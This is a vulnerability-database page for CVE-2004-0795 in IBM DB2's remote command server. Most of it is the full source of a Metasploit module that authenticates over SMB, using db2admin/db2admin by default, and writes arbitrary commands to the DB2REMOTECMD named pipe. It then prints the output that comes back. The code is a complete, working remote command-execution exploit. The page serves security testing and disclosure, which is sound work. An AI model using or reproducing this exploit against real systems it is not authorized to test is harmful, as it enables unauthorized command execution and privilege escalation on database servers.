IBM DB2 db2rcmd.exe Command Execution Vulnerability
| Reporter | Title | Published | Views | Family All 6 |
|---|---|---|---|---|
| CVE-2004-0795 | 29 May 201815:50 | – | circl | |
| CVE-2004-0795 | 20 Aug 200404:00 | – | cve | |
| CVE-2004-0795 | 20 Aug 200404:00 | – | cvelist | |
| CVE-2004-0795 | 20 Oct 200404:00 | – | nvd | |
| IBM DB2 Db2rcmd.exe Command Execution | 31 Aug 202400:00 | – | packetstorm | |
| CVE-2004-0795: Undefined Security Weakness | 20 Aug 200400:00 | – | rapid7 |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SMB::Client
def initialize(info = {})
super(
update_info(
info,
'Name' => 'IBM DB2 db2rcmd.exe Command Execution Vulnerability',
'Description' => %q{
This module exploits a vulnerability in the Remote Command Server
component in IBM's DB2 Universal Database 8.1. An authenticated
attacker can send arbitrary commands to the DB2REMOTECMD named pipe
which could lead to administrator privileges.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2004-0795' ],
[ 'OSVDB', '4180' ],
[ 'BID', '9821' ],
],
'DisclosureDate' => '2004-03-04',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
OptString.new('CMD', [ true, 'The command to execute', 'ver']),
OptString.new('SMBUser', [ true, 'The username to authenticate as', 'db2admin'], fallbacks: ['USERNAME']),
OptString.new('SMBPass', [ true, 'The password for the specified username', 'db2admin'], fallbacks: ['PASSWORD']),
]
)
deregister_options('SMB::ProtocolVersion')
end
def run
print_status('Connecting to the server...')
connect(versions: [1])
print_status("Authenticating as user '#{datastore['SMBUser']}' with pass '#{datastore['SMBPass']}'...")
# Connect with a valid user/pass. if not, then bail.
begin
smb_login
rescue StandardError => e
print_error("Error: #{e}")
disconnect
return
end
# Have it so our command arg is convenient to call.
rcmd = datastore['CMD']
print_status('Connecting to named pipe \\DB2REMOTECMD...')
# If the pipe doesn't exist, bail.
begin
pipe = simple.create_pipe('\\DB2REMOTECMD')
rescue StandardError => e
print_error("Error: #{e}")
disconnect
return
end
# If we get this far, do the dance.
fid = pipe.file_id
# Need to make a Trans2 request with the param of 'QUERY_FILE_INFO' keeping our file_id
simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '')
# Write to the pipe, our command length comes into play.
pipe.write([0x00000001].pack('V') + 'DB2' + "\x00" * 525 + [rcmd.length].pack('V'))
# Send off our command
pipe.write(rcmd)
# Read from the pipe and give us the data.
res = pipe.read
print_line(res)
# Close the named pipe and disconnect from the socket.
pipe.close
disconnect
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Mar 2004 00:00Current
6Medium risk
Vulners AI Score6
CVSS 27.2
EPSS0.02212